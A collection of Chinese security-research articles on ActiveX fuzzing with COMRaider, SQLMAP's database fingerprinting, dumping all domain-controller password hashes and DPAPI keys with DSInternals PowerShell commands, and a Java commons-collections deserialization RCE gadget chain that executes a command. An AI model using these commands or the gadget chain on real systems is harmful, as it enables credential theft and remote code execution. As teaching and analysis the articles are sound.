ActiveX的Fuzzer相当之多，本次我们暂时使用一个老牌但是性能较弱的开源Fuzzer：COMRaider。选择它的原因是它是一个图形化的Fuzzer，界面元素简单。但是说弱则是因为它的测试用例实在太少，而且比较陈旧（但是你可以手动添加）。比它强悍的工具还有很多，例如AxManFuzzer，但是AxMan的界面实在是没法截图，所以我还是用这个来演示好了…… 10 | 11 | COMRaider可以在下载到。安装打开后COMRaider的界面如下图所示。开始按钮完美地隐藏到了右边，和背景融为一色。 12 | 13 | ![p1](http://static.wooyun.org//drops/20151201/2015120107412587539p1.jpg) 14 | 15 | 点击Start之后即可开始Fuzz的第一步——选择ActiveX。在这里我们选择“Choose from controls that should beloadable from IE”。 16 | 17 | ![p2](http://static.wooyun.org//drops/20151201/2015120107412713595p2.jpg) 18 | 19 | 然后右键选择Scan New。在列表里面挑选一个你看不顺眼的插件，然后点击“Select”按钮即可查看到该插件的详细信息。 20 | 21 | ![p3](http://static.wooyun.org//drops/20151201/2015120107412835335p3.jpg) 22 | 23 | 新弹出的窗口中可以查看到该ActiveX的所有方法和属性。记得点击“Show only fuzzable”，把它前面的勾去掉。在列表左边显示的灰色内容是不能fuzz的，黑色内容是可以fuzz的。可以看得出来：凡是无参数传入的方法，COMRaider均Fuzz不了。 24 | 25 | ![p4](http://static.wooyun.org//drops/20151201/2015120107413087587p4.jpg) 26 | 27 | 新弹出的窗口中可以查看到该ActiveX的所有方法和属性。记得点击“Show only fuzzable”，把它前面的勾去掉。在列表左边显示的灰色内容是不能fuzz的，黑色内容是可以fuzz的。可以看得出来：凡是无参数传入的方法，COMRaider均Fuzz不了。 28 | 29 | ![p5](http://static.wooyun.org//drops/20151201/2015120107413170055p5.jpg) 30 | 31 | 是的，你编辑的文件是VBScript文件，所以一切请遵守VBS的语法。至于为什么要用VBS，COMRaider发布第一版的时候(时代的眼泪)VB还是很流行的，以至于COMRaider都是VB写的。 32 | 33 | 例如，我们向Long Args加入parent.lngs.add 65535，这样在FuzzLong类型的参数的时候65535就会作为一个testcase被使用。 34 | 35 | ![p6](http://static.wooyun.org//drops/20151201/2015120107413248711p6.jpg) 36 | 37 | # 0x01 如何测试逻辑问题 38 | 39 | * * * 40 | 41 | 本节我们只介绍使用COMRaider来挖掘逻辑漏洞并编写PoC。以此控件为例。 42 | 43 | 44 | 45 | Loaded File: F:\Windows\SysWOW64\QoePlug.ocx 46 | Name: QOEPLUGLib 47 | Lib GUID: {15144D65-D22E-4768-8980-7411EF722FDE} 48 | Version: 1.0 49 | Lib Classes: 1 50 | 51 | Class QOEPLUG 52 | GUID: {B2F9A248-3AB5-493F-A7F8-5B7A9D026ED2} 53 | Number of Interfaces: 1 54 | Default Interface: _DQOEPLUG 55 | RegKey Safe for Script: True 56 | RegKey Safe for Init: True 57 | KillBitSet: False 58 | 59 | 60 | 它包含如下方法和属性： 61 | 62 | 63 | 64 | Interface _DQOEPLUG : IDispatch 65 | Default Interface: True 66 | Members : 43 67 | strOsName 68 | strCpuName 69 | strNetLoad 70 | strCpuUsage 71 | strMemSize 72 | strMemUsage 73 | strProxyServer 74 | strDnsServer 75 | strNumComputer 76 | strTraceInfo 77 | strProcessInfo 78 | strKillPid 79 | strDnsName 80 | strConnectIp 81 | strUrl 82 | strMultiDownLoadUrl 83 | strDnsTime 84 | strConnectTime 85 | strUrlTime 86 | strMultiDownLoadResult 87 | strVersion 88 | strDownloadUrl 89 | strDownloadTime 90 | GetOsName 91 | GetCpuName 92 | GetNetLoad 93 | GetCpuUsage 94 | GetMemSize 95 | GetMemUsage 96 | GetProxyServer 97 | GetDnsServer 98 | GetNumComputer 99 | GetTraceInfo 100 | GetProcessInfo 101 | KillProcId 102 | GetDnsTime 103 | GetConnectTime 104 | GetUrlTime 105 | GetMultiDownLoad 106 | StartMultiDownLoad 107 | StopMultiDownLoad 108 | GetVersion 109 | GetDownloadTime 110 | 111 | 112 | 点击其中一项可以看到该项的定义。 113 | 114 | ![p7](http://static.wooyun.org//drops/20151201/2015120107413454144p7.jpg) 115 | 116 | COMRaider在展示信息的时候，显示的方法名也是VB模式的，如果你用过VB那还好，没用过的话只需要大致记得这样的模式即可： 117 | 118 | 119 | 120 | Sub 函数名(参数名 As 类型名, 参数名2 As 类型名2 ……) 121 | Function 函数名(参数名 As 类型名, 参数名2 As 类型名2 ……) As 返回值类型 122 | 123 | 124 | Sub对应一个没有返回值的方法，大致等同于C++里面的`void 函数名(类型名 参数名，类型名2 参数名2……)` 125 | 126 | Function对应一个有返回值的函数，大致等同于C++里面的`返回类型 函数名(类型名 参数名，类型名2 参数名2……)` 127 | 128 | 如果一项是可以Fuzz的，我们可以右键点击选择Fuzz member，或者直接Fuzz Library，这将会Fuzz它的所有成员。 129 | 130 | ![p8](http://static.wooyun.org//drops/20151201/2015120107413556304p8.jpg) 131 | 132 | COMRaider使用Windows Scripting Host来Fuzz，生成的文件是wsf类型的（WSF是含有XML代码的文本文档）。COMRaider生成的testcase结构类似如下，所以如果看到外面某个漏洞PoC的代码出现了熟悉的参数名和代码风格，那不用想，肯定是COMRaider的功劳:)。 133 | 134 | 135 | 136 | #!xml 137 | 138 | 139 | 140 | 158 | 159 | 160 | 通过右键点击testcase，然后选择Test Exploit inIE可以在IE中测试对应代码。也可以手动处理生成可在ie加载的代码。如上述代码，掐头去尾取中间就可以了： 161 | 162 | 163 | 164 | #!xml 165 | 166 | 170 | 171 | 172 | COMRaider基本不能验证逻辑漏洞，因此在挖掘的时候需要人工介入。以GetCpuName为例，虽然这是一个无返回值的方法，但是我们同样看到了这个ActiveX还有一个strCpuName的属性，让我们将这两个串联起来。 173 | 174 | ![p9](http://static.wooyun.org//drops/20151201/2015120107413733448p9.jpg) 175 | 176 | PoC： 177 | 178 | 179 | 180 | #!xml 181 | 182 | 186 | 187 | 188 | 在IE中验证一下，可以发现CPU挺老的了，该换电脑了。 189 | 190 | ![p10](http://static.wooyun.org//drops/20151201/2015120107414476960p10.jpg) 191 | 192 | # 0x02 Fuzzer怎么知道ActiveX信息的? 193 | 194 | * * * 195 | 196 | Fuzzer怎么枚举属性和方法？有一个通用的方法，详细表示如下： 197 | 198 | * 先CoCreateInstance创建一个实例，查询其IObjectSecurity接口； 199 | * 如果实现了这个接口，查询是否设置了Safe for init和Safe for script位，这个是它待会儿要写到测试的配置里面去的； 200 | * 调用IDispatch中的GetTypeInfo获取ITypeInfo接口用来展开相关的内容； 201 | 202 | > MSDN表示： The ITypeInfo interface provides access to the following: The set offunction descriptions associated with the type. For interfaces, this containsthe set of member functions in the interface. The set of data memberdescriptions associated with the type. For structures, this contains the setof members of the type. The general attributes of the type, such as whether itdescribes a structure, an interface, and so on. 203 | 204 | 简单的说就是ITypeInfo接口提供了对这个接口中的成员函数、成员变量、通用属性（是否定义了一个结构体，一个接口等等）。 205 | 206 | * 对TypeInfo调用GetDocumentation获取函数数量，然后对各个函数调用GetFuncDesc获取函数描述，然后这里就可以获得函数名，返回值，参数数量和参数。 207 | 208 | 由于COMRaider也是开源的，你也可以下载它的代码，并查看它的具体实现方式。 209 | 210 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/SQLMAP的前世今生Part2 数据库指纹识别.md: -------------------------------------------------------------------------------- 1 | # SQLMAP的前世今生Part2 数据库指纹识别 2 | 3 | [ 猎豹科学院](/author/猎豹科学院) · 2015/11/24 19:03 4 | 5 | # 0x00 前言 6 | 7 | * * * 8 | 9 | 谈到SQL注入，那麽第一时间就会想到神器SQLMAP，SQLMap是一款用来检测与利用的SQL注入开源工具。那麽SQLMap在扫描SQL的逻辑到底是怎样实现的呢，接下来就探讨下SQLMap的扫描逻辑，通过了解SQLMap的扫描逻辑打造一款属于自己的SQL扫描工具。 10 | 11 | # 0x01 SQLMAP的准备工作 12 | 13 | * * * 14 | 15 | SQLMAP在进行扫描之前会有一些其他的功能去确定当前的目标的一些有用的信息，如防火墙的检测，当检测到有防火墙之后，进行SQL检测时的判断依据也会有所调整，如bool类型的盲注的时候，而其中heuristicCheckSqlInjection这一函数既会影响到接下来所要使用什么样的Payload进行测试，heuristicCheckSqlInjection翻译过来的意思是启发式SQL注入测试，那麽到底什么是启发式，具体作用到底是什么呢，在我们经常使用SQLMAP的时候，有可能会出现以下的提示。 16 | 17 | ![p1](http://static.wooyun.org//drops/20151124/2015112410435935506p11.png) 18 | 19 | 上面提示我们当前的目标数据库版本好像是Oracle，而这上面的提示的依据就是根据这一个启发式SQL注入测试也就是本文要介绍的heuristicCheckSqlInjection来决定的。SQLMAP中有许多的Payload，足以有几百条，那麽如果全部Payload都测试一遍的话，无疑是一件很浪费时间的事情，除非Payload中的risk，clause，where字段中加以过滤，还会以这一个根据数据库的指纹来选择所要测试的Payload。 20 | 21 | heuristicCheckSqlInjection的主要作用可以分为以下几点: 22 | 23 | 1. **数据库版本的识别。** 24 | 2. **绝对路径获取。** 25 | 3. **XSS的测试** 26 | 27 | # 0x02 数据库版本的识别 28 | 29 | * * * 30 | 31 | 32 | #!python 33 | # Alphabet used for heuristic checks 34 | HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.') 35 | ... 36 | randStr = "" 37 | while '\'' not in randStr: 38 | randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET) 39 | kb.heuristicMode = True 40 | payload = "%s%s%s" % (prefix, randStr, suffix) 41 | payload = agent.payload(place, parameter, newValue=payload) 42 | page, _ = Request.queryPage(payload, place, content=True, raise404=False) 43 | ... 44 | 45 | 46 | 首先会从HEURISTIC_CHECK_ALPHABET中随机抽取10个字符出现构造Payload，当然里面的都不是些普通的字符，而且些特殊字符，当我们进行SQL注入测试的时候会很习惯的在参数后面加个分号啊什么的，又或者是其他一些特殊的字符，出现运气好的话有可能会暴出数据的相关错误信息，而那个时候我们就可以根据所暴出的相关错误信息去猜测当前目标的数据库是什么。 47 | 48 | 实际找个网站测试，打下码，保护下。 49 | 50 | 51 | 52 | http://***.***.***/datalist/default.aspx/article?category_id=1051 53 | 54 | 55 | 那麽经过`while '\'' not in randStr:`后生成了随机的字符，然后就是发包检测返回的数据了。 56 | 57 | 如下图： 58 | 59 | ![p2](http://static.wooyun.org//drops/20151124/2015112410440144534p21.png) 60 | 61 | 其实熟悉SQL注入的人也知道这是一个Oracle的一个错误信息，那麽接下来看看SQLMAP到底是怎样去判断的。 62 | 63 | 位于`./lib/request/connect.py`中的getPage函数,大约在598行。 64 | 65 | 66 | 67 | #!python 68 | def getPage(**kwargs): 69 | ... 70 | processResponse(page, responseHeaders) 71 | ... 72 | 73 | 74 | 其中processResponse会调用到`./lib/parse/html.py`中的`htmlParser`函数，这一个函数就是根据不同的数据库指纹去识别当前的数据库究竟是什么。 75 | 76 | 77 | 78 | #!python 79 | def htmlParser(page): 80 | """ 81 | This function calls a class that parses the input HTML page to 82 | fingerprint the back-end database management system 83 | """ 84 | xmlfile = paths.ERRORS_XML 85 | handler = HTMLHandler(page) 86 | parseXmlFile(xmlfile, handler) 87 | if handler.dbms and handler.dbms not in kb.htmlFp: 88 | kb.lastParserStatus = handler.dbms 89 | kb.htmlFp.append(handler.dbms) 90 | else: 91 | kb.lastParserStatus = None 92 | # generic SQL warning/error messages 93 | if re.search(r"SQL (warning|error|syntax)", page, re.I): 94 | handler._markAsErrorPage() 95 | return handler.dbms 96 | 97 | 98 | 最终实现的的其实是`HTMLHandler`这个类，而`paths.ERRORS_XML`这一变量的就是SQLMAP用来识别的指纹配置文件路径，位置在于`./xml/errors.xml`中。 99 | 100 | 101 | 102 | #!html 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 这一配置文件的比较简单，其实也就是一些对应数据库的正则。SQLMAP在解析errors.xml的时候，然后根据regexp中的正则去匹配当前的页面信息然后去确定当前的数据库。 114 | 115 | 116 | 117 | #!python 118 | class HTMLHandler(ContentHandler): 119 | """ 120 | This class defines methods to parse the input HTML page to 121 | fingerprint the back-end database management system 122 | """ 123 | def __init__(self, page): 124 | ContentHandler.__init__(self) 125 | self._dbms = None 126 | self._page = page 127 | self.dbms = None 128 | def _markAsErrorPage(self): 129 | threadData = getCurrentThreadData() 130 | threadData.lastErrorPage = (threadData.lastRequestUID, self._page) 131 | def startElement(self, name, attrs): 132 | if name == "dbms": 133 | self._dbms = attrs.get("value") 134 | elif name == "error": 135 | if re.search(attrs.get("regexp"), self._page, re.I): 136 | self.dbms = self._dbms 137 | self._markAsErrorPage() 138 | 139 | 140 | 可以发现当前返回的页面信息命中了``这一条正规 141 | 142 | ![p3](http://static.wooyun.org//drops/20151124/2015112410440357307p31.png) 143 | 144 | 到此SQLMap就可以确定数据的版本了，从而选择对应的测试Payload，减少SQLMAP的扫描时间。 145 | 146 | # 0x03 绝对路径获取与XSS检测 147 | 148 | * * * 149 | 150 | 相比指纹识别，获取绝对路径的功能模块相对简单，利用正则匹配寻找出绝对路径。 151 | 152 | 153 | 154 | #!python 155 | def parseFilePaths(page): 156 | """ 157 | Detects (possible) absolute system paths inside the provided page content 158 | """ 159 | if page: 160 | for regex in (r" in (?P.*?) on line", r"(?:>|\s)(?P[A-Za-z]:[\\/][\w.\\/]*)", r"(?:>|\s)(?P/\w[/\w.]+)"): 161 | for match in re.finditer(regex, page): 162 | absFilePath = match.group("result").strip() 163 | page = page.replace(absFilePath, "") 164 | if isWindowsDriveLetterPath(absFilePath): 165 | absFilePath = posixToNtSlashes(absFilePath) 166 | if absFilePath not in kb.absFilePaths: 167 | kb.absFilePaths.add(absFilePath) 168 | 169 | 170 | 而XSS的检测代码位于889行中: 171 | 172 | 173 | 174 | #!python 175 | # String used for dummy XSS check of a tested parameter value 176 | DUMMY_XSS_CHECK_APPENDIX = "<'\">" 177 | ... 178 | value = "%s%s%s" % (randomStr(), DUMMY_XSS_CHECK_APPENDIX, randomStr()) 179 | payload = "%s%s%s" % (prefix, "'%s" % value, suffix) 180 | payload = agent.payload(place, parameter, newValue=payload) 181 | page, _ = Request.queryPage(payload, place, content=True, raise404=False) 182 | paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place 183 | if value in (page or ""): 184 | infoMsg = "heuristic (XSS) test shows that %s parameter " % paramType 185 | infoMsg += "'%s' might be vulnerable to XSS attacks" % parameter 186 | logger.info(infoMsg) 187 | ... 188 | 189 | 190 | 最后根据输入的字符是否留着页面上，如果存在就提示有可能拥有XSS漏洞。 191 | 192 | # 0x04 总结 193 | 194 | * * * 195 | 196 | 至此heuristicCheckSqlInjection的功能也介绍的差不多了，通过具体了解SQLMAP的一些扫描规则又或者是思路，可以让我们根据具体的情况去配置SQLMAP又或者编写自己的SQLFuzz系统，其中可以通过编辑errors.xml这一指数据纹配置来增强SQLMAP的嗅探能力，从而打造更强大的神器了。 197 | 198 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/利用Powershell快速导出域控所有用户Hash.md: -------------------------------------------------------------------------------- 1 | # 利用Powershell快速导出域控所有用户Hash 2 | 3 | [ 三好学生](/author/三好学生) · 2015/11/04 10:28 4 | 5 | # 0x00 前言 6 | 7 | * * * 8 | 9 | 之前在《导出当前域内所有用户hash的技术整理》中测试了5种导出域内所有用户hash的方法，经过这一段时间的学习和实践，找到了新的方法，也很有效，分享给大家。 10 | 11 | # 0x01 简介 12 | 13 | * * * 14 | 15 | 对于离线导出域控所有用户Hash，NTDSXtract依旧是主流 16 | 17 | **优点：** 18 | 19 | 20 | 获取信息全面 21 | 稳定，上G的ntds.dit文件也可以正常解析 22 | 23 | 24 | **缺点：** 25 | 26 | 27 | 耗时，对于大型数据库，解析效率低 28 | 不支持内置索引，对于大型数据库，查找特定对象效率低 29 | 运行在Linux，不支持windows 30 | 无法修改ntds的数据库 31 | 32 | 33 | 但就在最近，能够综合解决上述问题的工具出现了，经过一段时间的测试和使用，个人认为已经可以替代NTDSXtract 34 | 35 | 下面就介绍一下今天的主角——DSInternals PowerShell Module 36 | 37 | **下载地址：** 38 | 39 | DSInternals PowerShell Module: 40 | 41 | 42 | 《导出当前域内所有用户hash的技术整理》: 43 | 44 | 45 | # 0x02 DSInternals PowerShell Module介绍 46 | 47 | * * * 48 | 49 | ## 1、版本 50 | 51 | 52 | 53 | v2.8 54 | 55 | 56 | ## 2、适用环境 57 | 58 | **支持系统：** 59 | 60 | 61 | Windows Server 2012 R2 62 | Windows Server 2008 R2 63 | Windows 10 64-bit 64 | Windows 8.1 64-bit 65 | Windows 7 64-bit 66 | （以上为官方说明） 67 | 68 | 69 | **注：** 70 | 71 | 72 | 实际测试32位也可以 73 | Windows 7 、Windows Server 2008 R2默认环境下PowerShell版本2.0，不支持 74 | PowerShell版本需要升级至3.0 75 | 76 | 77 | **软件版本：** 78 | 79 | 80 | - Windows PowerShell 3+ 81 | - .NET Framework 4.5+ 82 | （此为官方说明） 83 | 84 | 85 | **注：** 86 | 87 | 88 | 实测.NET Framework 4.0即可 89 | 90 | 91 | ## 3、安装方法 92 | 93 | **1、PowerShell 5.0：** 94 | 95 | 96 | Install-Module DSInternals 97 | 98 | 99 | **2、PowerShell 3.0、4.0** 100 | 101 | 102 | 解压压缩包 103 | cd C:\test\DSInternals 104 | Import-Module .\DSInternals 105 | 106 | 107 | ## 4、功能模块 108 | 109 | **1、**在线操作活动目录数据库 110 | 111 | 112 | Get-ADReplAccount：读取账户信息 113 | Set-SamAccountPasswordHash：设置账户的NTHash和LMHash 114 | Get-ADReplBackupKey：读取DPAPI backup keys 115 | 116 | 117 | **2、**离线操作活动目录数据库 118 | 119 | 120 | Get-ADDBAccount：从ntds.dit文件读取账户信息 121 | Get-BootKey：从SYSTEM文件读取BootKey 122 | Get-ADDBBackupKey：：从ntds.dit文件读取DPAPI backup keys 123 | Add-ADDBSidHistory：向ntds.dit文件添加SIDHistory信息 124 | Set-ADDBPrimaryGroup：修改ntds.dit文件的primaryGroupId属性 125 | Get-ADDBDomainController：从ntds.dit文件读取域控信息，包括domain name, domain SID, DC name and DC site. 126 | Set-ADDBDomainController：向ntds.dit文件添加域控信息 127 | Get-ADDBSchemaAttribute：从ntds.dit文件读取AD schema，包括数据表的列名 128 | Remove-ADDBObject：从ntds.dit文件移除特定对象 129 | 130 | 131 | **3、** Hash计算 132 | 133 | 134 | ConvertTo-NTHash：给定密码，计算NT hash 135 | ConvertTo-LMHash：给定密码，计算LM hash 136 | ConvertTo-OrgIdHash：给定密码，计算OrgId hash 137 | 138 | 139 | **4、**补充 140 | 141 | 对于Get-ADDBAccount读取到的账户信息，可将其中包含的Hash值按如下格式导出： 142 | 143 | 144 | 145 | HashcatNT：支持Hashcat的NT hash 146 | HashcatLM：支持Hashcat的LM hash 147 | JohnNT：支持John the Ripper的NT hash 148 | JohnLM：支持John the Ripper的LM hash 149 | Ophcrack：支持Ophcrack的NT hash、LM hash 150 | 151 | 152 | **注：** 153 | 154 | 155 | 列出以上三款Hash破解工具的地址： 156 | Hashcat： 157 | http://hashcat.net/oclhashcat/ 158 | John the Ripper： 159 | http://www.openwall.com/john/ 160 | Ophcrack： 161 | http://ophcrack.sourceforge.net/ 162 | 163 | 164 | # 0x03 测试环境 165 | 166 | * * * 167 | 168 | 操作系统： 169 | 170 | 171 | 172 | win10 x64 173 | 174 | 175 | Powershell版本： 176 | 177 | 178 | 179 | v5 180 | 181 | 182 | 需要文件： 183 | 184 | 185 | 186 | ntds.dit 187 | SAM 188 | SYSTEM 189 | 190 | 191 | 文件来源： 192 | 193 | 194 | 195 | 域控：server2008R2 196 | 197 | 198 | 导出方法： 199 | 200 | 201 | 202 | vssown.vbs或ShadowCopy（之前文章有介绍，导出过程略过） 203 | 204 | 205 | # 0x04 实际测试 206 | 207 | * * * 208 | 209 | ## 1、安装配置 210 | 211 | 下载DSInternals PowerShell Module 212 | 213 | 允许Powershell执行脚本： 214 | 215 | 216 | 217 | Set-ExecutionPolicy Unrestricted 218 | 219 | 220 | 安装DSInternals： 221 | 222 | 223 | 224 | Install-Module -Name DSInternals 225 | 226 | 227 | 导入DSInternals： 228 | 229 | 230 | 231 | Import-Module DSInternals 232 | 233 | 234 | ## 2、获取所有账户信息 235 | 236 | 237 | 238 | $key = Get-BootKey -SystemHivePath 'C:\Users\a\Desktop\a\SYSTEM' 239 | 240 | Get-ADDBAccount -All -DBPath 'C:\Users\a\Desktop\a\ntds.dit' -BootKey $key 241 | 242 | 243 | 如图 244 | 245 | ![这里写图片描述](http://static.wooyun.org//drops/20151104/2015110402275416242.net/20151029185034394) 246 | 247 | ![这里写图片描述](http://static.wooyun.org//drops/20151104/2015110402275434869.net/20151029185043440) 248 | 249 | ![这里写图片描述](http://static.wooyun.org//drops/20151104/2015110402275593033.net/20151029185050444) 250 | 251 | ![这里写图片描述](http://static.wooyun.org//drops/20151104/2015110402275563163.net/20151029185056096) 252 | 253 | ![这里写图片描述](http://static.wooyun.org//drops/20151104/2015110402275528060.net/20151029185102477) 254 | 255 | ## 3、获取指定账户信息 256 | 257 | 258 | 259 | $key = Get-BootKey -SystemHivePath 'C:\Users\a\Desktop\a\SYSTEM' 260 | 261 | Get-ADDBAccount -DistinguishedName 'CN=krbtgt,CN=Users,DC=test,DC=local' -DBPath 'C:\Users\a\Desktop\a\ntds.dit' -BootKey $key 262 | 263 | 264 | 如图 265 | 266 | ![这里写图片描述](http://static.wooyun.org//drops/20151104/2015110402275699373.net/20151029185622052) 267 | 268 | ## 4、导出支持Hashcat的NT hash 269 | 270 | 271 | 272 | Get-ADDBAccount -All -DBPath 'C:\Users\a\Desktop\a\ntds.dit' -BootKey $key | Format-Custom -View HashcatNT | Out-File hashes.txt 273 | 274 | 275 | 如图 276 | 277 | ![这里写图片描述](http://static.wooyun.org//drops/20151104/2015110402275679519.net/20151029185122157) 278 | 279 | ## 5、导出DPAPI backup keys 280 | 281 | **（1）**获得BootKey 282 | 283 | 284 | Get-BootKey -SystemHiveFilePath 'C:\Users\a\Desktop\a\SYSTEM' 285 | 得到c76034ff820edbc012308a258faf3d26 286 | 287 | 288 | 如图 289 | 290 | ![这里写图片描述](http://static.wooyun.org//drops/20151104/2015110402275675054.net/20151029185132250) 291 | 292 | **（2）**解密得到DPAPI backup keys 293 | 294 | 295 | Get-ADDBBackupKey -DBPath 'C:\Users\a\Desktop\a\ntds.dit' -BootKey c76034ff820edbc012308a258faf3d26 | Format-List 296 | 297 | 298 | **（3）**导出到文件 299 | 300 | 301 | Get-ADDBBackupKey -DBPath 'C:\Users\a\Desktop\a\ntds.dit' -BootKey c76034ff820edbc012308a258faf3d26 | Save-DPAPIBlob -DirectoryPath .\Keys 302 | 303 | 304 | ## 6、Hash计算 305 | 306 | 307 | 308 | $pwd = ConvertTo-SecureString 'TestTest' -AsPlainText -Force 309 | ConvertTo-NTHash $pwd 310 | ConvertTo-LMHash $pwd 311 | ConvertTo-OrgIdHash -NTHash 'd280553f0103f2e643406517296e7582' 312 | 313 | 314 | 如图 315 | 316 | ![这里写图片描述](http://static.wooyun.org//drops/20151104/2015110402275645429.net/20151029185143112) 317 | 318 | # 0x05 小结 319 | 320 | * * * 321 | 322 | 随着技术的发展，效率一直在提高 323 | 324 | 在获取域控权限下，导出所有用户hash的方法越来越简便，当域控被攻陷后，可以在很短的时间内提取出有用的信息用来进一步渗透，内网渗透将会越来越有趣。 325 | 326 | 本文由三好学生原创并首发于乌云drops，转载请注明 327 | 328 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/common-collections中Java反序列化漏洞导致的RCE原理分析.md: -------------------------------------------------------------------------------- 1 | # common-collections中Java反序列化漏洞导致的RCE原理分析 2 | 3 | [ 隐形人真忙](/author/隐形人真忙) · 2015/11/11 22:40 4 | 5 | # 0x00 背景 6 | 7 | * * * 8 | 9 | 这几天在zone看到了有人提及了有关于common-collections包的RCE漏洞，并且`http://zone.wooyun.org/content/23849`给出了具体的原理。作为一个业余的安全研究人员，除了会利用之外，还可以探究一下背后的原理。 10 | 11 | # 0x01 原理 12 | 13 | * * * 14 | 15 | Java反序列化导致的漏洞原理上和PHP反序列一样，也是由于用户的输入可以控制我们传入的对象。如果服务端程序没有对用户可控的序列化代码进行校验而是直接进行反序列化使用，并且程序中运行一些比较危险的逻辑（如eval，登录验证等），就会触发一些意想不到的漏洞。实际上，这并不是什么新的问题了，有关于Java中的反序列化导致的漏洞可以看`https://speakerdeck.com/player/2630612322be4a2696a31775f2ed005d的slide`了解一下。 16 | 17 | 而这次，主要探讨一下在特殊环境下，反序列化能否达到远程代码执行（RCE）。 18 | 19 | 参考文章3中给出了exp，并且在zone上有了很多的讨论，配合github上的jar文件生成一个序列化字符串，然后发送给漏洞站点就能触发。关于利用，并不是本文的重点。 20 | 21 | 问题从`common-collections`工具的各个`transformer`说起，这些`transform`主要用于对Map的键值进行转化。 22 | 23 | ![](http://static.wooyun.org//drops/20151111/2015111114230768847.png) 24 | 25 | 其中，国外研究人员发现类`InvokerTransformer`中的`transform`方法允许通过反射执行参数对象的某个方法，并返回执行结果。 26 | 27 | ![](http://static.wooyun.org//drops/20151111/2015111114230852860.png) 28 | 29 | 我们来写个代码测试一下： 30 | 31 | 32 | 33 | #!java 34 | @SuppressWarnings({"rawtypes", "unchecked"}) 35 | public class VulTest { 36 | public static void main(String[] args) { 37 | Transformer transform = new InvokerTransformer( 38 | "append", 39 | new Class[]{String.class}, 40 | new Object[]{"exploitcat?"}); 41 | Object newObject = transform.transform(new StringBuffer("your name is ")) ; 42 | System.out.println(newObject); 43 | 44 | } 45 | } 46 | 47 | 48 | 这里创建了一个`InvokerTransformer`对象，并且调用了它的`transform`，参数是个`StringBuilder`对象，执行后会输出一个字符串： 49 | 50 | 51 | 52 | #!java 53 | your name is exploitcat? 54 | 55 | 56 | 可以看到，通过`transform`方法里的反射，我们成功调用了`StringBuilder`中的`append`方法并返回结果，虽然过程有些曲折。这样，我们离RCE又近了一步，那么谁会去调用这些`transformer`对象的`transform`方法呢？ 57 | 58 | 调用这些`transform`方法的是一个叫`TransformedMap`的类，这个类可以当做原生Map类的一个包装类（通过`TransformedMap.decorate`方法）。进入这个类一探究竟： 59 | 60 | ![](http://static.wooyun.org//drops/20151111/2015111114230975173.png) 61 | 62 | 这里的`decorate`方法就是对外创建`TransformedMap`对象的方法。在代码中我们可以清晰找到`transform`方法是如何被调用的。 63 | 64 | ![](http://static.wooyun.org//drops/20151111/2015111114230992801.png) 65 | 66 | 以及`entry`对象调用`setValue`时，执行的`checkSetValue`： 67 | 68 | ![](http://static.wooyun.org//drops/20151111/2015111114230983705.png) 69 | 70 | 为了搞清楚为啥在`setValue`的时候发生了什么，我们来看代码： 71 | 72 | 73 | 74 | #!java 75 | public class TransformTest { 76 | public static void main(String[] args) { 77 | Transformer[] transformers = new Transformer[]{ 78 | new ConstantTransformer(Runtime.class), 79 | new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, 80 | new Object[]{"getRuntime", new Class[0]}), 81 | new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, 82 | new Object[]{null, new Object[0]}), 83 | new InvokerTransformer("exec", new Class[]{String.class}, 84 | new Object[]{"calc"}) 85 | }; 86 | Transformer chain = new ChainedTransformer(transformers) ; 87 | Map innerMap = new HashMap() ; 88 | innerMap.put("name", "hello") ; 89 | Map outerMap = TransformedMap.decorate(innerMap, null, chain) ; 90 | 91 | Map.Entry elEntry = (Entry) outerMap.entrySet().iterator().next() ; 92 | elEntry.setValue("hello") ; 93 | } 94 | } 95 | 96 | 97 | 代码中，我们将我们要执行的多行代码分散到各个`transformer`里，使用`InvokeTransformer`类来执行我们的方法。接着用`TransformedMap`来执行`transfom`方法触发代码。 98 | 99 | 这里的原生Map用来被`TransformedMap`包装，然后map的`entry`对象调用了`setValue`方法。在java环境中执行上面的代码，最后会弹出计算器： 100 | 101 | ![](http://static.wooyun.org//drops/20151111/2015111114231067535.png) 102 | 103 | 到目前为止，我们找了一些创造RCE的条件： 104 | 105 | （1）使用了`InvokeTransformer`的对象，并在`transform`方法里执行代码； 106 | （2）使用`TransformedMap`通过执行setValue方法来触发`transform`方法。 107 | 108 | 对于一个“不讲道理”的RCE，显然需要另一个好用的类来同时满足上面两点，并且在`readObject`里进行调用。`readObject`方法是java的序列化对象（实现了`Serializable`接口）中首先会调用的方法。 109 | 110 | # 0x02 利用 111 | 112 | * * * 113 | 114 | 这里配合我们执行代码的类就是`AnnotationInvocationHandler`，我们来看看`readObject`方法里面有什么逻辑： 115 | 116 | ![](http://static.wooyun.org//drops/20151111/2015111114231056057.png) 117 | 118 | 可以看到，首先调用了`defaultReadObject`来获取了类属性`type`和`memberValues`，找到定义，这两个东西如下： 119 | 120 | ![](http://static.wooyun.org//drops/20151111/2015111114231182242.png) 121 | 122 | 在`readObject`方法中，类型检查之前就触发了我们对象的方法。从`memberValues`参数中获取了`entry`并`setValue`，这样，虽然可能会有类型错误，但是代码却执行了。符合了之前我们关于RCE的构想。所以看懂exp就变得很简单。exp做了一件事情，就是返回一个序列化的`handler`对象，对象里包含了我们的`transformer`对象数组，用来装载我们要执行的代码。 123 | 124 | 创建`handler`的方法如下: 125 | 126 | ![](http://static.wooyun.org//drops/20151111/2015111114231145358.png) 127 | 128 | 利用反射，获取到`AnnotationInvocationHandler`的构造函数，并传入了我们的map，`getInstance`返回一个`handler`对象，完成了所要求的一切，之后，找个使用可控序列化的地方发送这个序列化`handler`即可执行我们的代码。 129 | 130 | 我还是把exp贴上来吧，这段代码就是构造我们的`handler`对象： 131 | 132 | ![](http://static.wooyun.org//drops/20151111/2015111114231295045.png) 133 | 134 | 首先exp里构造了`transformer`对象数组并用`LazyMap`进行包装，包装后装到一个`handler`对象里并返回这个`handler`。 135 | 136 | # 0x03 演示 137 | 138 | * * * 139 | 140 | 